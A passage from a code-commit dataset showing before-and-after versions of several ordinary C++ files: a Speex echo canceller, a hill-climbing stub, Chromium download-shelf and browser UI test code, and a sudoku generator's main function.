MpMisc.pEchoQ->numMsgs() > MAX_ECHO_QUEUE)\n {\n bufferMsg->releaseMsg();\n }\n\n \/\/ Get buffer from the message and free message\n echoRefBuffer = bufferMsg->getBuffer();\n assert(echoRefBuffer.isValid());\n bufferMsg->releaseMsg();\n\n if (echoRefBuffer->getSamplesNumber() == samplesPerFrame) {\n mStartedCanceling = true;\n\n \/\/ Get new buffer\n outBuffer = MpMisc.RawAudioPool->getBuffer();\n assert(outBuffer.isValid());\n outBuffer->setSamplesNumber(samplesPerFrame);\n outBuffer->setSpeechType(inputBuffer->getSpeechType());\n\n if (isOutputConnected(1)) {\n echoResidueBuffer = mEchoResiduePool.getBuffer();\n assert(outBuffer.isValid());\n }\n\n if (outBuffer.isValid()) {\n pEchoResidue = (spx_int32_t*)echoResidueBuffer->getDataWritePtr();\n }\n\n \/\/ Do echo cancelation\n speex_echo_cancel(mpEchoState,\n (spx_int16_t*)inputBuffer->getSamplesPtr(),\n (spx_int16_t*)echoRefBuffer->getSamplesPtr(),\n (spx_int16_t*)outBuffer->getSamplesPtr(),\n pEchoResidue);\n } else {\n \/\/The sample count didn't match so we can't echo cancel. Pass the frame.\n outBuffer = inputBuffer;\n assert(!mStartedCanceling);\n }\n } else {\n \/\/There was no speaker data to match. Pass the frame.\n outBuffer = inputBuffer;\n\/\/ osPrintf(\"SpeexEchoCancel: No frame to match...\\n\");\n\/\/ assert (!mStartedCanceling);\n }\n }\n\n outBufs[0].swap(outBuffer);\n outBufs[1].swap(echoResidueBuffer);\n return TRUE;\n}\n\n\/* ============================ FUNCTIONS ================================= *\/\n\n#endif \/\/ HAVE_SPEEX ]\n\n<commit_msg>Moved inputBuffer.requestWrite() out of assert in MprSpeexEchoCancel.<commit_after>\/\/\n\/\/ Copyright (C) 2004-2006 SIPfoundry Inc.\n\/\/ Licensed by SIPfoundry under the LGPL license.\n\/\/\n\/\/ Copyright (C) 2006 ProfitFuel Inc. All rights reserved.\n\/\/ Licensed to SIPfoundry under a Contributor Agreement.\n\/\/ \n\/\/ Copyright (C) 2006 SIPez LLC. \n\/\/ Licensed to SIPfoundry under a Contributor Agreement. \n\/\/\n\/\/ $$\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifdef HAVE_SPEEX \/\/ [\n\n\/\/ SYSTEM INCLUDES\n#include <speex\/speex_echo.h>\n#include <speex\/speex_types.h>\n\n\/\/ APPLICATION INCLUDES\n#include \"os\/OsDefs.h\"\n#include \"mp\/MpMisc.h\"\n#include \"mp\/MpBuf.h\"\n#include \"mp\/MpBufPool.h\"\n#include \"mp\/MpBufferMsg.h\"\n#include \"mp\/MprSpeexEchoCancel.h\"\n\n\/\/ EXTERNAL FUNCTIONS\n\/\/ EXTERNAL VARIABLES\n\/\/ CONSTANTS\n\/\/ STATIC VARIABLE INITIALIZATIONS\n\n\/* \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ PUBLIC \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ *\/\n\n\/* ============================ CREATORS ================================== *\/\n\n\/\/ Constructor\nMprSpeexEchoCancel::MprSpeexEchoCancel(const UtlString& rName,\n int samplesPerFrame, int samplesPerSec,\n int filterLength,\n int echoResiduePoolSize)\n: MpAudioResource(rName, 1, 1, 1, 2, samplesPerFrame, samplesPerSec)\n, mEchoResiduePool( MpArrayBuf::getHeaderSize() + sizeof(spx_int32_t)*(samplesPerFrame + 1),\n echoResiduePoolSize)\n{\n \/\/Initilize Speex Echo state with framesize and number of frames for length of buffer\n mpEchoState = speex_echo_state_init(samplesPerFrame, \n samplesPerSec*filterLength\/1000);\n\n \/\/mpEchoResidue = (spx_int32_t*)malloc(sizeof(spx_int32_t) * (samplesPerFrame + 1));\n mStartedCanceling = false; \/\/ Debug Use only\n}\n\n\/\/ Destructor\nMprSpeexEchoCancel::~MprSpeexEchoCancel()\n{\n if (mpEchoState != NULL) {\n speex_echo_state_destroy(mpEchoState);\n mpEchoState = NULL;\n }\n}\n\n\/* ============================ MANIPULATORS ============================== *\/\n\n\/* ============================ ACCESSORS ================================= *\/\n\n\/* ============================ INQUIRY =================================== *\/\n\n\/* \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ PROTECTED \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ *\/\n\n\/* \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ PRIVATE \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ *\/\n\nUtlBoolean MprSpeexEchoCancel::doProcessFrame(MpBufPtr inBufs[],\n MpBufPtr outBufs[],\n int inBufsSize,\n int outBufsSize,\n UtlBoolean isEnabled,\n int samplesPerFrame,\n int samplesPerSecond)\n{\n MpAudioBufPtr outBuffer;\n MpAudioBufPtr inputBuffer;\n MpAudioBufPtr echoRefBuffer;\n MpArrayBufPtr echoResidueBuffer;\n MpBufferMsg* bufferMsg;\n spx_int32_t* pEchoResidue;\n bool res = false;\n\n \/\/ We don't need to do anything if we don't have an output.\n if (!isOutputConnected(0) && !isOutputConnected(1))\n return FALSE;\n\n \/\/ If disabled pass buffer through\n if (!isEnabled) {\n outBufs[0].swap(inBufs[0]);\n return TRUE;\n }\n\n \/\/ Get incoming data\n inputBuffer.swap(inBufs[0]);\n\n \/\/ If the object is not enabled or we don't have valid input,\n \/\/ pass input to output\n if ( inputBuffer.isValid()\n && (inputBuffer->getSamplesNumber() == samplesPerFrame))\n {\n \/\/ This buffer will be modified in place. Make sure we're the only owner.\n res = inputBuffer.requestWrite();\n assert(res);\n\n \/\/ Try to get a reference frame for echo cancelation. 21 = MAX_SPKR_BUFFERS(12) +\n if (MpMisc.pEchoQ->numMsgs() > MAX_ECHO_QUEUE) {\n\n \/\/ Flush queue\n while ( (MpMisc.pEchoQ->receive((OsMsg*&) bufferMsg, OsTime::NO_WAIT_TIME) == OS_SUCCESS)\n && MpMisc.pEchoQ->numMsgs() > MAX_ECHO_QUEUE)\n {\n bufferMsg->releaseMsg();\n }\n\n \/\/ Get buffer from the message and free message\n echoRefBuffer = bufferMsg->getBuffer();\n assert(echoRefBuffer.isValid());\n bufferMsg->releaseMsg();\n\n if (echoRefBuffer->getSamplesNumber() == samplesPerFrame) {\n mStartedCanceling = true;\n\n \/\/ Get new buffer\n outBuffer = MpMisc.RawAudioPool->getBuffer();\n assert(outBuffer.isValid());\n outBuffer->setSamplesNumber(samplesPerFrame);\n outBuffer->setSpeechType(inputBuffer->getSpeechType());\n\n if (isOutputConnected(1)) {\n echoResidueBuffer = mEchoResiduePool.getBuffer();\n assert(outBuffer.isValid());\n }\n\n if (outBuffer.isValid()) {\n pEchoResidue = (spx_int32_t*)echoResidueBuffer->getDataWritePtr();\n }\n\n \/\/ Do echo cancelation\n speex_echo_cancel(mpEchoState,\n (spx_int16_t*)inputBuffer->getSamplesPtr(),\n (spx_int16_t*)echoRefBuffer->getSamplesPtr(),\n (spx_int16_t*)outBuffer->getSamplesPtr(),\n pEchoResidue);\n } else {\n \/\/The sample count didn't match so we can't echo cancel. Pass the frame.\n outBuffer = inputBuffer;\n assert(!mStartedCanceling);\n }\n } else {\n \/\/There was no speaker data to match. Pass the frame.\n outBuffer = inputBuffer;\n\/\/ osPrintf(\"SpeexEchoCancel: No frame to match...\\n\");\n\/\/ assert (!mStartedCanceling);\n }\n }\n\n outBufs[0].swap(outBuffer);\n outBufs[1].swap(echoResidueBuffer);\n return TRUE;\n}\n\n\/* ============================ FUNCTIONS ================================= *\/\n\n#endif \/\/ HAVE_SPEEX ]\n\n<|endoftext|>"} {"text":"<commit_before>#include \"hill_climbing.h\"\n#include <iostream>\n#include <cmath> \/\/for fabs()\nusing namespace std;\n\nnamespace mo {\n\nHill_climbing::Hill_climbing(const double& h0, const double& eps, const double& delta)\n : h0_{h0}, eps_{eps}, delta_{delta}\n{\n\n}\n\n\nvoid Hill_climbing::compute(){\n\n}\n\n\ndouble Hill_climbing::linear_search(double (*f)(const double&), double(*df)(const double&), const double& x0){\n double h = h0_;\n double x = x0;\n\n while(fabs(df(x)) > eps_){\n \/\/ h =\n }\n\n return x;\n}\n\n} \/\/namespace mo\n<commit_msg>implement sgn() in analysis.<commit_after>#include \"hill_climbing.h\"\n#include <iostream>\n#include <cmath> \/\/for fabs()\n#include \"..\/..\/analysis\/src\/analysis.h\" \/\/for sgn()\nusing namespace std;\n\nnamespace mo {\n\nHill_climbing::Hill_climbing(const double& h0, const double& eps, const double& delta)\n : h0_{h0}, eps_{eps}, delta_{delta}\n{\n\n}\n\n\nvoid Hill_climbing::compute(){\n\n}\n\n\ndouble Hill_climbing::linear_search(double (*f)(const double&), double(*df)(const double&), const double& x0){\n double h = h0_;\n double x = x0;\n\n while(fabs(df(x)) > eps_){\n h *= sgn(df(x));\n }\n\n return x;\n}\n\n} \/\/namespace mo\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/download\/download_shelf.h\"\n\n#include \"app\/l10n_util.h\"\n#include \"base\/file_util.h\"\n#include \"chrome\/browser\/dom_ui\/downloads_ui.h\"\n#include \"chrome\/browser\/download\/download_item_model.h\"\n#include \"chrome\/browser\/download\/download_manager.h\"\n#include \"chrome\/browser\/metrics\/user_metrics.h\"\n#include \"chrome\/browser\/tab_contents\/tab_contents.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"grit\/generated_resources.h\"\n\n#if defined(OS_WIN)\n#include \"chrome\/browser\/download\/download_util.h\"\n#elif defined(OS_POSIX)\n#include \"chrome\/common\/temp_scaffolding_stubs.h\"\n#endif\n\n\/\/ DownloadShelf ---------------------------------------------------------------\n\nvoid DownloadShelf::ShowAllDownloads() {\n Profile* profile = tab_contents_->profile();\n if (profile)\n UserMetrics::RecordAction(L\"ShowDownloads\", profile);\n tab_contents_->OpenURL(GURL(chrome::kChromeUIDownloadsURL), GURL(),\n SINGLETON_TAB, PageTransition::AUTO_BOOKMARK);\n}\n\nvoid DownloadShelf::ChangeTabContents(TabContents* old_contents,\n TabContents* new_contents) {\n DCHECK(old_contents == tab_contents_);\n tab_contents_ = new_contents;\n}\n\n\/\/ DownloadShelfContextMenu ----------------------------------------------------\n\nDownloadShelfContextMenu::DownloadShelfContextMenu(\n BaseDownloadItemModel* download_model)\n : download_(download_model->download()),\n model_(download_model) {\n}\n\nDownloadShelfContextMenu::~DownloadShelfContextMenu() {\n}\n\nbool DownloadShelfContextMenu::ItemIsChecked(int id) const {\n switch (id) {\n case OPEN_WHEN_COMPLETE:\n return download_->open_when_complete();\n case ALWAYS_OPEN_TYPE: {\n const FilePath::StringType extension =\n file_util::GetFileExtensionFromPath(download_->full_path());\n return download_->manager()->ShouldOpenFileExtension(extension);\n }\n }\n return false;\n}\n\nbool DownloadShelfContextMenu::ItemIsDefault(int id) const {\n return id == OPEN_WHEN_COMPLETE;\n}\n\nstd::wstring DownloadShelfContextMenu::GetItemLabel(int id) const {\n switch (id) {\n case SHOW_IN_FOLDER:\n return l10n_util::GetString(IDS_DOWNLOAD_LINK_SHOW);\n case OPEN_WHEN_COMPLETE:\n if (download_->state() == DownloadItem::IN_PROGRESS)\n return l10n_util::GetString(IDS_DOWNLOAD_MENU_OPEN_WHEN_COMPLETE);\n return l10n_util::GetString(IDS_DOWNLOAD_MENU_OPEN);\n case ALWAYS_OPEN_TYPE:\n return l10n_util::GetString(IDS_DOWNLOAD_MENU_ALWAYS_OPEN_TYPE);\n case CANCEL:\n return l10n_util::GetString(IDS_DOWNLOAD_MENU_CANCEL);\n default:\n NOTREACHED();\n }\n return std::wstring();\n}\n\nbool DownloadShelfContextMenu::IsItemCommandEnabled(int id) const {\n switch (id) {\n case SHOW_IN_FOLDER:\n case OPEN_WHEN_COMPLETE:\n return download_->state() != DownloadItem::CANCELLED;\n case ALWAYS_OPEN_TYPE:\n#if defined(OS_WIN)\n return download_util::CanOpenDownload(download_);\n#else\n \/\/ TODO(port): port download_util\n NOTIMPLEMENTED();\n return true;\n#endif\n case CANCEL:\n return download_->state() == DownloadItem::IN_PROGRESS;\n default:\n return id > 0 && id < MENU_LAST;\n }\n}\n\nvoid DownloadShelfContextMenu::ExecuteItemCommand(int id) {\n switch (id) {\n case SHOW_IN_FOLDER:\n download_->manager()->ShowDownloadInShell(download_);\n break;\n case OPEN_WHEN_COMPLETE:\n#if defined(OS_WIN)\n download_util::OpenDownload(download_);\n#else\n \/\/ TODO(port): port download_util\n NOTIMPLEMENTED();\n#endif\n break;\n case ALWAYS_OPEN_TYPE: {\n const FilePath::StringType extension =\n file_util::GetFileExtensionFromPath(download_->full_path());\n download_->manager()->OpenFilesOfExtension(\n extension, !ItemIsChecked(ALWAYS_OPEN_TYPE));\n break;\n }\n case CANCEL:\n model_->CancelTask();\n break;\n default:\n NOTREACHED();\n }\n}\n<commit_msg>Remove one more notimpl.<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/download\/download_shelf.h\"\n\n#include \"app\/l10n_util.h\"\n#include \"base\/file_util.h\"\n#include \"chrome\/browser\/dom_ui\/downloads_ui.h\"\n#include \"chrome\/browser\/download\/download_item_model.h\"\n#include \"chrome\/browser\/download\/download_manager.h\"\n#include \"chrome\/browser\/metrics\/user_metrics.h\"\n#include \"chrome\/browser\/tab_contents\/tab_contents.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"grit\/generated_resources.h\"\n\n#if defined(OS_WIN)\n#include \"chrome\/browser\/download\/download_util.h\"\n#elif defined(OS_POSIX)\n#include \"chrome\/common\/temp_scaffolding_stubs.h\"\n#endif\n\n\/\/ DownloadShelf ---------------------------------------------------------------\n\nvoid DownloadShelf::ShowAllDownloads() {\n Profile* profile = tab_contents_->profile();\n if (profile)\n UserMetrics::RecordAction(L\"ShowDownloads\", profile);\n tab_contents_->OpenURL(GURL(chrome::kChromeUIDownloadsURL), GURL(),\n SINGLETON_TAB, PageTransition::AUTO_BOOKMARK);\n}\n\nvoid DownloadShelf::ChangeTabContents(TabContents* old_contents,\n TabContents* new_contents) {\n DCHECK(old_contents == tab_contents_);\n tab_contents_ = new_contents;\n}\n\n\/\/ DownloadShelfContextMenu ----------------------------------------------------\n\nDownloadShelfContextMenu::DownloadShelfContextMenu(\n BaseDownloadItemModel* download_model)\n : download_(download_model->download()),\n model_(download_model) {\n}\n\nDownloadShelfContextMenu::~DownloadShelfContextMenu() {\n}\n\nbool DownloadShelfContextMenu::ItemIsChecked(int id) const {\n switch (id) {\n case OPEN_WHEN_COMPLETE:\n return download_->open_when_complete();\n case ALWAYS_OPEN_TYPE: {\n const FilePath::StringType extension =\n file_util::GetFileExtensionFromPath(download_->full_path());\n return download_->manager()->ShouldOpenFileExtension(extension);\n }\n }\n return false;\n}\n\nbool DownloadShelfContextMenu::ItemIsDefault(int id) const {\n return id == OPEN_WHEN_COMPLETE;\n}\n\nstd::wstring DownloadShelfContextMenu::GetItemLabel(int id) const {\n switch (id) {\n case SHOW_IN_FOLDER:\n return l10n_util::GetString(IDS_DOWNLOAD_LINK_SHOW);\n case OPEN_WHEN_COMPLETE:\n if (download_->state() == DownloadItem::IN_PROGRESS)\n return l10n_util::GetString(IDS_DOWNLOAD_MENU_OPEN_WHEN_COMPLETE);\n return l10n_util::GetString(IDS_DOWNLOAD_MENU_OPEN);\n case ALWAYS_OPEN_TYPE:\n return l10n_util::GetString(IDS_DOWNLOAD_MENU_ALWAYS_OPEN_TYPE);\n case CANCEL:\n return l10n_util::GetString(IDS_DOWNLOAD_MENU_CANCEL);\n default:\n NOTREACHED();\n }\n return std::wstring();\n}\n\nbool DownloadShelfContextMenu::IsItemCommandEnabled(int id) const {\n switch (id) {\n case SHOW_IN_FOLDER:\n case OPEN_WHEN_COMPLETE:\n return download_->state() != DownloadItem::CANCELLED;\n case ALWAYS_OPEN_TYPE:\n#if defined(OS_WIN)\n return download_util::CanOpenDownload(download_);\n#elif defined(OS_LINUX)\n \/\/ Need to implement dangerous download stuff: http:\/\/crbug.com\/11780\n return false;\n#endif\n case CANCEL:\n return download_->state() == DownloadItem::IN_PROGRESS;\n default:\n return id > 0 && id < MENU_LAST;\n }\n}\n\nvoid DownloadShelfContextMenu::ExecuteItemCommand(int id) {\n switch (id) {\n case SHOW_IN_FOLDER:\n download_->manager()->ShowDownloadInShell(download_);\n break;\n case OPEN_WHEN_COMPLETE:\n#if defined(OS_WIN)\n download_util::OpenDownload(download_);\n#else\n \/\/ TODO(port): port download_util\n NOTIMPLEMENTED();\n#endif\n break;\n case ALWAYS_OPEN_TYPE: {\n const FilePath::StringType extension =\n file_util::GetFileExtensionFromPath(download_->full_path());\n download_->manager()->OpenFilesOfExtension(\n extension, !ItemIsChecked(ALWAYS_OPEN_TYPE));\n break;\n }\n case CANCEL:\n model_->CancelTask();\n break;\n default:\n NOTREACHED();\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"sudokuJudger.h\"\n#include \"sudokuGenerator.h\"\n#include \"sudokuPrinter.h\"\n#include <stdlib.h>\n#include <iostream>\nusing namespace std;\n\nint main() {\n int input[9][9];\n int i, j;\n\n bool signal = false;\n SudokuGenerator sudokuGenerator;\n while (!signal) {\n signal = sudokuGenerator.Generator();\n }\n SudokuPrinter sudokuPrinter;\n sudokuPrinter.Printer(sudokuGenerator.solution);\n\n \/*for (i = 0; i < 9; i++) {\n for (j = 0; j < 9; j++) {\n cin >> input[i][j];\n }\n }\n SudokuJudger sudokuJudger1;\n bool sudokuResult = sudokuJudger1.SudokuisSolved(input);\n if (sudokuResult) {\n cout << \"Congratulations!\" << endl;\n }*\/\n return 0;\n}<commit_msg>update main.cpp: add arguments<commit_after>#include \"sudokuJudger.h\"\n#include \"sudokuGenerator.h\"\n#include \"sudokuPrinter.h\"\n#include <stdlib.h>\n#include <iostream>\nusing namespace std;\n\nint main(int argc, char *argv[]) {\n if (argc < 3) {\n cout << \"Error occurs when parsing arguments.\" << endl;\n cout << \"Usage: sudoku.exe -c [N]\" << endl;\n return 1;\n }\n\n int solutionNumber = atoi(argv[2]);\n\n SudokuGenerator sudokuGenerator;\n SudokuPrinter sudokuPrinter;\n\n bool signal = false;\n\n for (int i = 0; i < solutionNumber; i++) {\n signal = sudokuGenerator.Generator();\n if (signal) {\n sudokuPrinter.Printer(sudokuGenerator.solution);\n } else {\n cout << \"Error occurs when applying sudokuGenerator.\" << endl;\n return 1;\n }\n }\n\n return 0;\n}<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/base_paths.h\"\n#include \"base\/file_path.h\"\n#include \"base\/file_util.h\"\n#include \"base\/path_service.h\"\n#include \"base\/string_util.h\"\n#include \"base\/sys_info.h\"\n#include \"base\/test\/test_file_util.h\"\n#include \"base\/test\/test_timeouts.h\"\n#include \"base\/values.h\"\n#include \"chrome\/app\/chrome_command_ids.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/automation\/automation_proxy.h\"\n#include \"chrome\/test\/automation\/browser_proxy.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/automation\/window_proxy.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n#include \"grit\/chromium_strings.h\"\n#include \"grit\/generated_resources.h\"\n#include \"net\/base\/net_util.h\"\n#include \"net\/test\/test_server.h\"\n#include \"ui\/gfx\/native_widget_types.h\"\n\nnamespace {\n\nclass BrowserTest : public UITest {\n};\n\nclass VisibleBrowserTest : public UITest {\n protected:\n VisibleBrowserTest() : UITest() {\n show_window_ = true;\n }\n};\n\n} \/\/ namespace\n\n\/\/ The browser should quit quickly if it receives a WM_ENDSESSION message\n\/\/ on Windows, or SIGTERM on posix.\nTEST_F(BrowserTest, SessionEnd) {\n FilePath test_file(test_data_directory_);\n test_file = test_file.AppendASCII(\"title1.html\");\n\n NavigateToURL(net::FilePathToFileURL(test_file));\n TerminateBrowser();\n}\n\n\/\/ WindowOpenClose is flaky on ChromeOS and fails consistently on linux views.\n\/\/ See http:\/\/crbug.com\/85763.\n#if defined (OS_CHROMEOS)\n#define MAYBE_WindowOpenClose FLAKY_WindowOpenClose\n#elif defined(OS_LINUX) && defined(TOOLKIT_VIEWS)\n#define MAYBE_WindowOpenClose FAILS_WindowOpenClose\n#else\n#define MAYBE_WindowOpenClose WindowOpenClose\n#endif\n\nTEST_F(VisibleBrowserTest, MAYBE_WindowOpenClose) {\n FilePath test_file(test_data_directory_);\n test_file = test_file.AppendASCII(\"window.close.html\");\n\n NavigateToURLBlockUntilNavigationsComplete(\n net::FilePathToFileURL(test_file), 2);\n EXPECT_EQ(L\"Title Of Awesomeness\", GetActiveTabTitle());\n}\n\nclass ShowModalDialogTest : public UITest {\n public:\n ShowModalDialogTest() {\n launch_arguments_.AppendSwitch(switches::kDisablePopupBlocking);\n }\n};\n\n\/\/ Flakiness returned. Re-opened crbug.com\/17806\n\/\/ TODO(estade): remove flaky label if prospective fix works.\nTEST_F(ShowModalDialogTest, FLAKY_BasicTest) {\n FilePath test_file(test_data_directory_);\n test_file = test_file.AppendASCII(\"showmodaldialog.html\");\n\n \/\/ This navigation should show a modal dialog that will be immediately\n \/\/ closed, but the fact that it was shown should be recorded.\n NavigateToURL(net::FilePathToFileURL(test_file));\n ASSERT_TRUE(automation()->WaitForWindowCountToBecome(1));\n\n \/\/ Verify that we set a mark on successful dialog show.\n scoped_refptr<BrowserProxy> browser = automation()->GetBrowserWindow(0);\n ASSERT_TRUE(browser.get());\n scoped_refptr<TabProxy> tab = browser->GetActiveTab();\n ASSERT_TRUE(tab.get());\n std::wstring title;\n ASSERT_TRUE(tab->GetTabTitle(&title));\n ASSERT_EQ(L\"SUCCESS\", title);\n}\n\nclass SecurityTest : public UITest {\n};\n\nTEST_F(SecurityTest, DisallowFileUrlUniversalAccessTest) {\n scoped_refptr<TabProxy> tab(GetActiveTab());\n ASSERT_TRUE(tab.get());\n\n FilePath test_file(test_data_directory_);\n test_file = test_file.AppendASCII(\"fileurl_universalaccess.html\");\n\n GURL url = net::FilePathToFileURL(test_file);\n ASSERT_TRUE(tab->NavigateToURL(url));\n\n std::string value = WaitUntilCookieNonEmpty(tab.get(), url,\n \"status\", TestTimeouts::action_max_timeout_ms());\n ASSERT_STREQ(\"Disallowed\", value.c_str());\n}\n\n#if !defined(OS_MACOSX)\nclass KioskModeTest : public UITest {\n public:\n KioskModeTest() {\n launch_arguments_.AppendSwitch(switches::kKioskMode);\n }\n};\n\nTEST_F(KioskModeTest, EnableKioskModeTest) {\n \/\/ Load a local file.\n FilePath test_file(test_data_directory_);\n test_file = test_file.AppendASCII(\"title1.html\");\n\n \/\/ Verify that the window is present.\n scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n ASSERT_TRUE(browser.get());\n\n \/\/ Check if browser is in fullscreen mode.\n bool is_visible;\n ASSERT_TRUE(browser->IsFullscreen(&is_visible));\n EXPECT_TRUE(is_visible);\n ASSERT_TRUE(browser->IsFullscreenBubbleVisible(&is_visible));\n EXPECT_FALSE(is_visible);\n}\n#endif \/\/ !defined(OS_MACOSX)\n\n#if defined(OS_WIN)\n\/\/ This test verifies that Chrome can be launched with a user-data-dir path\n\/\/ which contains non ASCII characters.\nclass LaunchBrowserWithNonAsciiUserDatadir : public UITest {\npublic:\n void SetUp() {\n ASSERT_TRUE(temp_dir_.CreateUniqueTempDir());\n FilePath tmp_profile = temp_dir_.path().AppendASCII(\"tmp_profile\");\n tmp_profile = tmp_profile.Append(L\"Test Chrome G�raldine\");\n\n ASSERT_TRUE(file_util::CreateDirectory(tmp_profile));\n\n launch_arguments_.AppendSwitchPath(switches::kUserDataDir, tmp_profile);\n }\n\n bool LaunchAppWithProfile() {\n UITest::SetUp();\n return true;\n }\n\npublic:\n ScopedTempDir temp_dir_;\n};\n\nTEST_F(LaunchBrowserWithNonAsciiUserDatadir, TestNonAsciiUserDataDir) {\n ASSERT_TRUE(LaunchAppWithProfile());\n \/\/ Verify that the window is present.\n scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n ASSERT_TRUE(browser.get());\n}\n#endif \/\/ defined(OS_WIN)\n\n\/\/ Tests to ensure that the browser continues running in the background after\n\/\/ the last window closes.\nclass RunInBackgroundTest : public UITest {\n public:\n RunInBackgroundTest() {\n launch_arguments_.AppendSwitch(switches::kKeepAliveForTest);\n }\n};\n\nTEST_F(RunInBackgroundTest, RunInBackgroundBasicTest) {\n \/\/ Close the browser window, then open a new one - the browser should keep\n \/\/ running.\n scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n ASSERT_TRUE(browser.get());\n int window_count;\n ASSERT_TRUE(automation()->GetBrowserWindowCount(&window_count));\n EXPECT_EQ(1, window_count);\n ASSERT_TRUE(browser->RunCommand(IDC_CLOSE_WINDOW));\n ASSERT_TRUE(automation()->GetBrowserWindowCount(&window_count));\n EXPECT_EQ(0, window_count);\n ASSERT_TRUE(automation()->OpenNewBrowserWindow(Browser::TYPE_TABBED, true));\n ASSERT_TRUE(automation()->GetBrowserWindowCount(&window_count));\n EXPECT_EQ(1, window_count);\n \/\/ Set the shutdown type to 'SESSION_ENDING' since we are running in\n \/\/ background mode and neither closing all the windows nor quitting will\n \/\/ shut down the browser.\n set_shutdown_type(ProxyLauncher::SESSION_ENDING);\n}\n\n\/\/ Tests to ensure that the browser continues running in the background after\n\/\/ the last window closes.\nclass NoStartupWindowTest : public UITest {\n public:\n NoStartupWindowTest() {\n launch_arguments_.AppendSwitch(switches::kNoStartupWindow);\n launch_arguments_.AppendSwitch(switches::kKeepAliveForTest);\n }\n};\n\nTEST_F(NoStartupWindowTest, NoStartupWindowBasicTest) {\n \/\/ No browser window should be started by default.\n int window_count;\n ASSERT_TRUE(automation()->GetBrowserWindowCount(&window_count));\n EXPECT_EQ(0, window_count);\n\n \/\/ Starting a browser window should work just fine.\n ASSERT_TRUE(automation()->OpenNewBrowserWindow(Browser::TYPE_TABBED, true));\n ASSERT_TRUE(automation()->GetBrowserWindowCount(&window_count));\n EXPECT_EQ(1, window_count);\n}\n\n\/\/ This test needs to be placed outside the anonymouse namespace because we\n\/\/ need to access private type of Browser.\nclass AppModeTest : public UITest {\n public:\n AppModeTest() {\n \/\/ Load a local file.\n FilePath test_file(test_data_directory_);\n test_file = test_file.AppendASCII(\"title1.html\");\n GURL test_file_url(net::FilePathToFileURL(test_file));\n\n launch_arguments_.AppendSwitchASCII(switches::kApp, test_file_url.spec());\n }\n};\n\nTEST_F(AppModeTest, EnableAppModeTest) {\n \/\/ Test that an application browser window loads correctly.\n\n \/\/ Verify that the window is present.\n scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n ASSERT_TRUE(browser.get());\n\n \/\/ Verify the browser is in application mode.\n bool is_application;\n ASSERT_TRUE(browser->IsApplication(&is_application));\n EXPECT_TRUE(is_application);\n}\n<commit_msg>ShowModalDialogTest: Remove FLAKE label from BasicTest.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/base_paths.h\"\n#include \"base\/file_path.h\"\n#include \"base\/file_util.h\"\n#include \"base\/path_service.h\"\n#include \"base\/string_util.h\"\n#include \"base\/sys_info.h\"\n#include \"base\/test\/test_file_util.h\"\n#include \"base\/test\/test_timeouts.h\"\n#include \"base\/values.h\"\n#include \"chrome\/app\/chrome_command_ids.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/automation\/automation_proxy.h\"\n#include \"chrome\/test\/automation\/browser_proxy.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/automation\/window_proxy.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n#include \"grit\/chromium_strings.h\"\n#include \"grit\/generated_resources.h\"\n#include \"net\/base\/net_util.h\"\n#include \"net\/test\/test_server.h\"\n#include \"ui\/gfx\/native_widget_types.h\"\n\nnamespace {\n\nclass BrowserTest : public UITest {\n};\n\nclass VisibleBrowserTest : public UITest {\n protected:\n VisibleBrowserTest() : UITest() {\n show_window_ = true;\n }\n};\n\n} \/\/ namespace\n\n\/\/ The browser should quit quickly if it receives a WM_ENDSESSION message\n\/\/ on Windows, or SIGTERM on posix.\nTEST_F(BrowserTest, SessionEnd) {\n FilePath test_file(test_data_directory_);\n test_file = test_file.AppendASCII(\"title1.html\");\n\n NavigateToURL(net::FilePathToFileURL(test_file));\n TerminateBrowser();\n}\n\n\/\/ WindowOpenClose is flaky on ChromeOS and fails 